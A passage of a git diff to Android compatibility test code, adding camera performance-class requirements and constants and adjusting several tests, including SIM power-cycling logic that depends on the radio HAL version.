RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + return new PreviewStabilizationRequirement(RequirementConstants.R7_5__H_1_12, + rearRequirement, frontRequirement); + } + } + + public static class LogicalMultiCameraRequirement extends Requirement { + private static final String TAG = + LogicalMultiCameraRequirement.class.getSimpleName(); + + private LogicalMultiCameraRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setRearLogicalMultiCameraReqMet(boolean reqMet) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET, + reqMet); + } + + public void setFrontLogicalMultiCameraReqMet(boolean reqMet) { + this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET, + reqMet); + } + + /** + * [2.2.7.2/7.5/H-1-13] MUST support LOGICAL_MULTI_CAMERA capability for the primary + * cameras if there are greater than 1 RGB cameras facing the same direction. + */ + public static LogicalMultiCameraRequirement createLogicalMultiCameraReq() { + RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + return new LogicalMultiCameraRequirement(RequirementConstants.R7_5__H_1_13, + rearRequirement, frontRequirement); + } + } + + public static class StreamUseCaseRequirement extends Requirement { + private static final String TAG = + StreamUseCaseRequirement.class.getSimpleName(); + + private StreamUseCaseRequirement(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setRearStreamUseCaseSupported(boolean supported) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_STREAM_USECASE_SUPPORTED, + supported); + } + + public void setFrontStreamUseCaseSupported(boolean supported) { + this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_STREAM_USECASE_SUPPORTED, + supported); + } + + /** + * [2.2.7.2/7.5/H-1-14] MUST support STREAM_USE_CASE capability for both primary + * front and primary back camera. + */ + public static StreamUseCaseRequirement createStreamUseCaseReq() { + RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.REAR_CAMERA_STREAM_USECASE_SUPPORTED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement + .<Boolean>builder() + .setId(RequirementConstants.FRONT_CAMERA_STREAM_USECASE_SUPPORTED) + .setPredicate(RequirementConstants.BOOLEAN_EQ) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true) + .build(); + + return new StreamUseCaseRequirement(RequirementConstants.R7_5__H_1_14, + rearRequirement, frontRequirement); + } + } + + public <R extends Requirement> R addRequirement(R req) { if (!this.mRequirements.add(req)) { throw new IllegalStateException("Requirement " + req.id() + " already added"); } @@ -1000,16 +1487,69 @@ public class PerformanceClassEvaluator { return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_10()); } + public PrimaryCameraRequirement addPrimaryRearCameraReq() { + return this.addRequirement(PrimaryCameraRequirement.createRearPrimaryCamera()); + } + + public PrimaryCameraRequirement addPrimaryFrontCameraReq() { + return this.addRequirement(PrimaryCameraRequirement.createFrontPrimaryCamera()); + } + + public CameraTimestampSourceRequirement addR7_5__H_1_4() { + return this.addRequirement(CameraTimestampSourceRequirement.createTimestampSourceReq()); + } + + public CameraLatencyRequirement addR7_5__H_1_5() { + return this.addRequirement(CameraLatencyRequirement.createJpegLatencyReq()); + } + + public CameraLatencyRequirement addR7_5__H_1_6() { + return this.addRequirement(CameraLatencyRequirement.createLaunchLatencyReq()); + } + + public CameraRawRequirement addR7_5__H_1_8() { + return this.addRequirement(CameraRawRequirement.createRawReq()); + } + + public Camera240FpsRequirement addR7_5__H_1_9() { + return this.addRequirement(Camera240FpsRequirement.create240FpsReq()); + } + + public UltraWideZoomRatioRequirement addR7_5__H_1_10() { + return this.addRequirement(UltraWideZoomRatioRequirement.createUltrawideZoomRatioReq()); + } + + public ConcurrentRearFrontRequirement addR7_5__H_1_11() { + return this.addRequirement(ConcurrentRearFrontRequirement.createConcurrentRearFrontReq()); + } + + public PreviewStabilizationRequirement addR7_5__H_1_12() { + return this.addRequirement(PreviewStabilizationRequirement.createPreviewStabilizationReq()); + } + + public LogicalMultiCameraRequirement addR7_5__H_1_13() { + return this.addRequirement(LogicalMultiCameraRequirement.createLogicalMultiCameraReq()); + } + + public StreamUseCaseRequirement addR7_5__H_1_14() { + return this.addRequirement(StreamUseCaseRequirement.createStreamUseCaseReq()); + } + public void submitAndCheck() { - boolean perfClassMet = true; - for (Requirement req: this.mRequirements) { - perfClassMet &= req.writeLogAndCheck(this.mTestName); - } + boolean perfClassMet = submit(); // check performance class assumeTrue("Build.VERSION.MEDIA_PERFORMANCE_CLASS is not declared", Utils.isPerfClass()); assertThat(perfClassMet).isTrue(); + } + public boolean submit() { + boolean perfClassMet = true; + for (Requirement req: this.mRequirements) { + perfClassMet &= req.writeLogAndCheck(this.mTestName); + } this.mRequirements.clear(); // makes sure report isn't submitted twice + return perfClassMet; } + } diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java index d93cb2e0a00..ad0d0d5694f 100644 --- a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java +++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java @@ -16,8 +16,6 @@ package android.mediapc.cts.common; -import android.os.Build; - import java.util.function.BiPredicate; public class RequirementConstants { @@ -54,8 +52,13 @@ public class RequirementConstants { public static final String R7_5__H_1_4 = "r7_5__h_1_4"; // 7.5/H-1-4 public static final String R7_5__H_1_5 = "r7_5__h_1_5"; // 7.5/H-1-5 public static final String R7_5__H_1_6 = "r7_5__h_1_6"; // 7.5/H-1-6 - public static final String R7_5__H_1_7 = "r7_5__h_1_7"; // 7.5/H-1-7 public static final String R7_5__H_1_8 = "r7_5__h_1_8"; // 7.5/H-1-8 + public static final String R7_5__H_1_9 = "r7_5__h_1_9"; // 7.5/H-1-9 + public static final String R7_5__H_1_10 = "r7_5__h_1_10"; // 7.5/H-1-10 + public static final String R7_5__H_1_11 = "r7_5__h_1_11"; // 7.5/H-1-11 + public static final String R7_5__H_1_12 = "r7_5__h_1_12"; // 7.5/H-1-12 + public static final String R7_5__H_1_13 = "r7_5__h_1_13"; // 7.5/H-1-13 + public static final String R7_5__H_1_14 = "r7_5__h_1_14"; // 7.5/H-1-14 public static final String R7_1_1_1__H_1_1 = "r7_1_1_1__h_1_1"; // 7.1.1.1/H-1-1 public static final String R7_1_1_3__H_1_1 = "r7_1_1_3__h_1_1"; // 7.1.1.3/H-1-1 public static final String R7_6_1__H_1_1 = "r7_6_1__h_1_1"; // 7.6.1/H-1-1 @@ -90,14 +93,50 @@ public class RequirementConstants { public static final String NUM_CRYPTO_HW_SECURE_ALL_SUPPORT = "number_crypto_hw_secure_all_support"; + public static final String PRIMARY_CAMERA_AVAILABLE = "primary_camera_available"; + public static final String PRIMARY_CAMERA_RESOLUTION = "primary_camera_resolution"; + public static final String PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED = + "primary_camera_video_size_req_satisfied"; + public static final String PRIMARY_CAMERA_VIDEO_FPS = + "primary_camera_video_fps"; + public static final String REAR_CAMERA_HWL_LEVEL = "rear_primary_camera_hwl_level"; + public static final String FRONT_CAMERA_HWL_LEVEL = "front_primary_camera_hwl_level"; + public static final String REAR_CAMERA_TIMESTAMP_SOURCE = + "rear_primary_camera_timestamp_source"; + public static final String FRONT_CAMERA_TIMESTAMP_SOURCE = + "front_primary_camera_timestamp_source"; + public static final String REAR_CAMERA_LATENCY = "rear_camera_latency"; + public static final String FRONT_CAMERA_LATENCY = "front_camera_latency"; + public static final String REAR_CAMERA_RAW_SUPPORTED = "rear_camera_raw_supported"; + public static final String REAR_CAMERA_240FPS_SUPPORTED = "rear_camera_240fps_supported"; + public static final String REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET = + "rear_camera_ultrawide_zoom_req_met"; + public static final String FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET = + "front_camera_ultrawide_zoom_req_met"; + public static final String CONCURRENT_REAR_FRONT_SUPPORTED = "rear_front_concurrent_camera"; + public static final String REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED = + "rear_camera_preview_stabilization_supported"; + public static final String FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED = + "front_camera_preview_stabilization_supported"; + public static final String REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET = + "rear_camera_logical_multi_camera_req_met"; + public static final String FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET = + "front_camera_logical_multi_camera_req_met"; + public static final String REAR_CAMERA_STREAM_USECASE_SUPPORTED = + "rear_camera_stream_usecase_supported"; + public static final String FRONT_CAMERA_STREAM_USECASE_SUPPORTED = + "front_camera_stream_usecase_supported"; + public enum Result { NA, MET, UNMET } public static final BiPredicate<Long, Long> LONG_GTE = RequirementConstants.gte(); public static final BiPredicate<Long, Long> LONG_LTE = RequirementConstants.lte(); + public static final BiPredicate<Float, Float> FLOAT_LTE = RequirementConstants.lte(); public static final BiPredicate<Integer, Integer> INTEGER_GTE = RequirementConstants.gte(); public static final BiPredicate<Integer, Integer> INTEGER_LTE = RequirementConstants.lte(); + public static final BiPredicate<Integer, Integer> INTEGER_EQ = RequirementConstants.eq(); public static final BiPredicate<Double, Double> DOUBLE_EQ = RequirementConstants.eq(); public static final BiPredicate<Boolean, Boolean> BOOLEAN_EQ = RequirementConstants.eq(); public static final BiPredicate<Double, Double> DOUBLE_GTE = RequirementConstants.gte(); diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java index ac03705a1a2..28a122b4521 100644 --- a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java +++ b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java @@ -73,16 +73,24 @@ public class Utils { Context context = InstrumentationRegistry.getInstrumentation().getContext(); DisplayMetrics metrics = new DisplayMetrics(); - WindowManager windowManager = context.getSystemService(WindowManager.class); - windowManager.getDefaultDisplay().getMetrics(metrics); - DISPLAY_DPI = metrics.densityDpi; - DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels); - DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels); - - ActivityManager activityManager = context.getSystemService(ActivityManager.class); - ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo(); - activityManager.getMemoryInfo(memoryInfo); - TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024; + // When used from ItsService, context will be null + if (context != null) { + WindowManager windowManager = context.getSystemService(WindowManager.class); + windowManager.getDefaultDisplay().getMetrics(metrics); + DISPLAY_DPI = metrics.densityDpi; + DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels); + DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels); + + ActivityManager activityManager = context.getSystemService(ActivityManager.class); + ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo(); + activityManager.getMemoryInfo(memoryInfo); + TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024; + } else { + DISPLAY_DPI = 0; + DISPLAY_LONG_PIXELS = 0; + DISPLAY_SHORT_PIXELS = 0; + TOTAL_MEMORY_MB = 0; + } } /** diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java index 2508845049b..8da22f32ba0 100644 --- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java +++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java @@ -41,6 +41,7 @@ import java.util.ArrayList; import java.util.List; import java.util.UUID; import org.junit.Assume; +import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.rules.TestName; @@ -58,6 +59,11 @@ public class PerformanceClassTest { @Rule public final TestName mTestName = new TestName(); + @Before + public void isPerformanceClassCandidate() { + Utils.assumeDeviceMeetsPerformanceClassPreconditions(); + } + static { mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_AVC); mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_HEVC); diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java index bbe26dce0ac..2ee8b3bf8c5 100644 --- a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java +++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java @@ -21,12 +21,14 @@ import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE; import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO; import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs; import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs; +import static org.junit.Assert.assertTrue; import android.media.MediaCodec; import android.media.MediaCodecInfo.CodecCapabilities; import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint; import android.media.MediaFormat; import android.mediapc.cts.common.PerformanceClassEvaluator; +import android.mediapc.cts.common.Utils; import android.util.Log; import androidx.test.filters.LargeTest; import com.android.compatibility.common.util.CddTest; @@ -35,6 +37,7 @@ import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; +import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.rules.TestName; @@ -47,6 +50,11 @@ public class VideoCodecRequirementsTest { @Rule public final TestName mTestName = new TestName(); + @Before + public void isPerformanceClassCandidate() { + Utils.assumeDeviceMeetsPerformanceClassPreconditions(); + } + private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException { Set<String> codecSet = new HashSet<>(); Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE); @@ -60,6 +68,7 @@ public class VideoCodecRequirementsTest { codec.getCodecInfo().getCapabilitiesForType(codecMediaType); List<PerformancePoint> pps = capabilities.getVideoCapabilities().getSupportedPerformancePoints(); + assertTrue(hwVideoCodec + " doesn't advertise performance points", pps.size() > 0); for (PerformancePoint pp : pps) { if (pp.covers(PP4k60)) { codecSet.add(hwVideoCodec); diff --git a/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java b/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java index 234a0cd1047..c82e0392fad 100644 --- a/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java +++ b/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java @@ -16,34 +16,15 @@ package android.ondevicepersonalization.cts; -import static org.junit.Assert.assertEquals; - -import android.content.Context; -import android.ondevicepersonalization.OnDevicePersonalizationManaging; - -import androidx.test.core.app.ApplicationProvider; - -import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; /** - * Test of {@link OnDevicePersonalizationManaging} + * Test of {@link OnDevicePersonalizationManager} */ @RunWith(JUnit4.class) public class OnDevicePersonalizationServiceTest { - private Context mContext; - private OnDevicePersonalizationManaging mService; - - @Before - public void setup() throws Exception { - mContext = ApplicationProvider.getApplicationContext(); - mService = mContext.getSystemService(OnDevicePersonalizationManaging.class); - } - @Test - public void testVersion() throws Exception { - assertEquals(mService.getVersion(), "1.0"); - } + public void test() throws Exception {} } diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java index 2f77728f06b..9cb5fb10c08 100644 --- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java +++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java @@ -59,7 +59,7 @@ public abstract class BaseKillswitchTest extends AbstractApiTest { doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ true, /* jni= */ false); } - @Test + @Test(timeout = 900000) public void testKillswitchMechanismFieldsThroughJni() { doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ false, /* jni= */ true); } diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml index b72af1f7dce..cb5f08c1296 100644 --- a/tests/signature/intent-check/DynamicConfig.xml +++ b/tests/signature/intent-check/DynamicConfig.xml @@ -27,6 +27,7 @@ Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30) Bug: 186495404 android.intent.action.REBOOT_READY Bug: 218245704 android.intent.action.ACTION_PACKAGE_CHANGED (fixed in TTS 20220209) + Bug: 237978237 android.intent.action.REMOTE_COPY --> <dynamicConfig> <entry key ="intent_whitelist"> @@ -42,5 +43,6 @@ <value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value> <value>android.intent.action.REBOOT_READY</value> <value>android.intent.action.ACTION_PACKAGE_CHANGED</value> + <value>android.intent.action.REMOTE_COPY</value> </entry> </dynamicConfig> diff --git a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java index e8caff2cff0..ef14ce6d8a7 100644 --- a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java +++ b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java @@ -18,7 +18,6 @@ package android.suspendapps.cts; import static android.content.pm.SuspendDialogInfo.BUTTON_ACTION_UNSUSPEND; import static android.suspendapps.cts.Constants.TEST_APP_PACKAGE_NAME; -import static android.suspendapps.cts.SuspendTestUtils.assertSameExtras; import static android.suspendapps.cts.SuspendTestUtils.createExtras; import static android.suspendapps.cts.SuspendTestUtils.startTestAppActivity; @@ -32,7 +31,6 @@ import android.content.Context; import android.content.Intent; import android.content.pm.SuspendDialogInfo; import android.os.Bundle; -import android.platform.test.annotations.SystemUserOnly; import android.support.test.uiautomator.By; import android.support.test.uiautomator.UiDevice; import android.support.test.uiautomator.UiObject2; @@ -126,9 +124,7 @@ public class DialogTests { final Intent activityIntent = mTestAppInterface.awaitTestActivityStart(); assertNotNull("Test activity did not start on neutral button tap", activityIntent); - assertSameExtras("Different extras passed to startActivity on unsuspend", - extrasForStart, activityIntent.getExtras()); - + // TODO(b/237707107): Verify that activityIntent has the expected extras. assertFalse("Test package still suspended", mTestAppInterface.isTestAppSuspended()); } diff --git a/tests/tests/assist/common/src/android/assist/common/Utils.java b/tests/tests/assist/common/src/android/assist/common/Utils.java index 0ffcb271093..98e857689cf 100755 --- a/tests/tests/assist/common/src/android/assist/common/Utils.java +++ b/tests/tests/assist/common/src/android/assist/common/Utils.java @@ -56,6 +56,7 @@ public class Utils { public static final String COMPARE_SCREENSHOT_KEY = "compare_screenshot"; public static final String DISPLAY_WIDTH_KEY = "display_width"; public static final String DISPLAY_HEIGHT_KEY = "dislay_height"; + public static final String DISPLAY_AREA_BOUNDS_KEY = "display_area_bounds"; public static final String SCROLL_X_POSITION = "scroll_x_position"; public static final String SCROLL_Y_POSITION = "scroll_y_position"; public static final String SHOW_SESSION_FLAGS_TO_SET = "show_session_flags_to_set"; diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java index 7f35367333a..25c080b9c0c 100644 --- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java +++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java @@ -56,6 +56,7 @@ public class MainInteractionSession extends VoiceInteractionSession { private int mCurColor; private int mDisplayHeight; private int mDisplayWidth; + private Rect mDisplayAreaBounds; private BroadcastReceiver mReceiver; private String mTestName; private View mContentView; @@ -106,7 +107,7 @@ public class MainInteractionSession extends VoiceInteractionSession { public void onPrepareShow(Bundle args, int showFlags) { if (Utils.LIFECYCLE_NOUI.equals(args.getString(Utils.TESTCASE_TYPE, ""))) { setUiEnabled(false); - } else { + } else { setUiEnabled(true); } } @@ -122,6 +123,7 @@ public class MainInteractionSession extends VoiceInteractionSession { mCurColor = args.getInt(Utils.SCREENSHOT_COLOR_KEY); mDisplayHeight = args.getInt(Utils.DISPLAY_HEIGHT_KEY); mDisplayWidth = args.getInt(Utils.DISPLAY_WIDTH_KEY); + mDisplayAreaBounds = args.getParcelable(Utils.DISPLAY_AREA_BOUNDS_KEY); mRemoteCallback = args.getParcelable(Utils.EXTRA_REMOTE_CALLBACK); super.onShow(args, showFlags); if (mContentView == null) return; // Happens when ui is not enabled. @@ -256,6 +258,11 @@ public class MainInteractionSession extends VoiceInteractionSession { int[] pixels = new int[size.x * size.y]; screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y); + // screenshot bitmap contains the screenshot for the entire physical display. A single + // physical display could have multiple display area with different applications. + // Let's grab the region of the display area from the original screenshot. + Bitmap displayAreaScreenshot = Bitmap.createBitmap(screenshot, mDisplayAreaBounds.left, + mDisplayAreaBounds.top, mDisplayAreaBounds.width(), mDisplayAreaBounds.height()); int expectedColor = 0; for (int pixel : pixels) { // Check for roughly the same because there are rounding errors converting from the @@ -267,7 +274,7 @@ public class MainInteractionSession extends VoiceInteractionSession { } } - int pixelCount = screenshot.getWidth() * screenshot.getHeight(); + int pixelCount = displayAreaScreenshot.getWidth() * displayAreaScreenshot.getHeight(); double colorRatio = (double) expectedColor / pixelCount; Log.i(TAG, "the ratio is " + colorRatio); return colorRatio >= 0.6; diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java index 44a3109a740..c89119bdea1 100644 --- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java +++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java @@ -35,9 +35,9 @@ import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.graphics.Point; +import android.graphics.Rect; import android.os.Bundle; import android.os.Handler; -import android.os.HandlerThread; import android.os.LocaleList; import android.os.RemoteCallback; import android.provider.Settings; @@ -341,6 +341,8 @@ abstract class AssistTestBase { Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode(); mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight()); } + Rect bounds = mTestActivity.getWindowManager().getMaximumWindowMetrics().getBounds(); + intent.putExtra(Utils.DISPLAY_AREA_BOUNDS_KEY, bounds); intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x); intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y); } diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml index 9a3075beee6..98189620bab 100644 --- a/tests/tests/bluetooth/AndroidTest.xml +++ b/tests/tests/bluetooth/AndroidTest.xml @@ -33,6 +33,6 @@ <!-- Only run Cts Tests in MTS if the Bluetooth Mainline module is installed. --> <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController"> - <option name="mainline-module-package-name" value="com.google.android.bluetooth" /> + <option name="mainline-module-package-name" value="com.android.btservices" /> </object> </configuration> diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java index fba6e737bbc..5793fe2bd43 100644 --- a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java +++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java @@ -30,6 +30,7 @@ import android.telephony.SubscriptionManager; import android.telephony.TelephonyManager; import android.telephony.UiccSlotMapping; import android.util.Log; +import android.util.Pair; import androidx.test.InstrumentationRegistry; @@ -40,12 +41,14 @@ import com.android.compatibility.common.util.UiccUtil.ApduResponse; import java.util.Collection; import java.util.List; import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger; class ApduScriptUtil { private static final String TAG = "ApduScriptUtil"; private static final long SET_SIM_POWER_TIMEOUT_SECONDS = 30; + private static final long APP_STATE_ADDITIONAL_WAIT_MILLIS = TimeUnit.SECONDS.toMillis(3); // TelephonyManager constants are @hide, so manually copy them here private static final int CARD_POWER_DOWN = 0; private static final int CARD_POWER_UP = 1; @@ -106,33 +109,77 @@ class ApduScriptUtil { "Unable to determine physical slot + port from logical slot: " + logicalSlotId); } + Pair<Integer, Integer> halVersion = getContext().getSystemService(TelephonyManager.class) + .getRadioHalVersion(); + Log.i(TAG, "runApduScript with hal version: " + halVersion.first + "." + halVersion.second); + boolean listenToSimCardStateChange = true; + // After hal version 1.6, powers SIM card down will not generate SIM ABSENT or + // SIM PRESENT events, we have to switch to listen to SIM application states instead. + if ((halVersion.first == 1 && halVersion.second == 6) || halVersion.first == 2) { + listenToSimCardStateChange = false; + } + try { - // Note: this may wipe out subId, so we need to use the slot/port-based APDU method - // while in pass-through mode. - rebootSimCard(logicalSlotId, CARD_POWER_UP_PASS_THROUGH); + // Note: Even if it won't wipe out subId after hal version 1.6, we still use the + // slot/port-based APDU method while in pass-through mode to make compatible with + // older hal version. + rebootSimCard(subId, + logicalSlotId, CARD_POWER_UP_PASS_THROUGH, listenToSimCardStateChange); sendApdus(physicalSlotId, portIndex, apdus); } finally { // Even if rebootSimCard failed midway through (leaving the SIM in POWER_DOWN) or timed // out waiting for the right SIM state after rebooting in POWER_UP_PASS_THROUGH, we try // to bring things back to the normal POWER_UP state to avoid breaking other suites. - rebootSimCard(logicalSlotId, CARD_POWER_UP); + rebootSimCard(subId, logicalSlotId, CARD_POWER_UP, listenToSimCardStateChange); } } /** - * Powers the SIM card down, waits for it to become ABSENT, then powers it back up in {@code - * targetPowerState} and waits for it to become PRESENT. + * Powers the SIM card down firstly and then powers it back up on the {@code + * targetPowerState} + * + * Due to the RADIO HAL interface behavior changed after version 1.6, we have to + * listen to SIM card states before hal version 1.6 and SIM application states after. + * In specific, the behavior of the method is below: + * <p> Before hal version 1.6, powers the SIM card down and waits for it to become + * ABSENT, then powers it back up in {@code targetPowerState} and waits for it to + become PRESENT. + * <p> After hal version 1.6, powers the SIM card down and waits for the SIM application + * state to become NOT_READY, then powers it back up in {@code targetPowerState} and + * waits for it to become NOT_READY {@code CARD_POWER_UP_PASS_THROUGH} or + * LOADED {@code CARD_POWER_UP}. + * The SIM application state keeps in NOT_READY state after simPower moving from + * CARD_POWER_DOWN to CARD_POWER_UP_PASS_THROUGH. */ - private static void rebootSimCard(int logicalSlotId, int targetPowerState) + private static void rebootSimCard(int subId, + int logicalSlotId, int targetPowerState, boolean listenToSimCardStateChange) throws InterruptedException { - setSimPowerAndWaitForCardState( - logicalSlotId, CARD_POWER_DOWN, TelephonyManager.SIM_STATE_ABSENT); - setSimPowerAndWaitForCardState( - logicalSlotId, targetPowerState, TelephonyManager.SIM_STATE_PRESENT); + if (listenToSimCardStateChange) { + setSimPowerAndWaitForCardState(subId, + logicalSlotId, CARD_POWER_DOWN, + TelephonyManager.SIM_STATE_ABSENT, listenToSimCardStateChange); + setSimPowerAndWaitForCardState(subId, + logicalSlotId, targetPowerState, + TelephonyManager.SIM_STATE_PRESENT, listenToSimCardStateChange); + } else { + setSimPowerAndWaitForCardState(subId, + logicalSlotId, CARD_POWER_DOWN, + TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange); + if (targetPowerState == CARD_POWER_UP) { + setSimPowerAndWaitForCardState(subId, + logicalSlotId, targetPowerState, + TelephonyManager.SIM_STATE_LOADED, listenToSimCardStateChange); + } else if (targetPowerState == CARD_POWER_UP_PASS_THROUGH) { + setSimPowerAndWaitForCardState(subId, + logicalSlotId, targetPowerState, + TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange); + } + } } private static void setSimPowerAndWaitForCardState( - int logicalSlotId, int targetPowerState, int targetSimState) + int subId, int logicalSlotId, int targetPowerState, + int targetSimState, boolean listenToSimCardStateChange) throws InterruptedException { // A small little state machine: // 1. Call setSimPower(targetPowerState) @@ -146,8 +193,10 @@ class ApduScriptUtil { new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { - if (!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals( - intent.getAction())) { + if ((!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals( + intent.getAction())) && + (!TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED.equals( + intent.getAction()))) { return; } int slotId = @@ -183,11 +232,10 @@ class ApduScriptUtil { uiAutomation.adoptShellPermissionIdentity( Manifest.permission.MODIFY_PHONE_STATE, Manifest.permission.READ_PRIVILEGED_PHONE_STATE); - getContext() - .registerReceiver( - cardStateReceiver, - new IntentFilter(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED)); - + IntentFilter 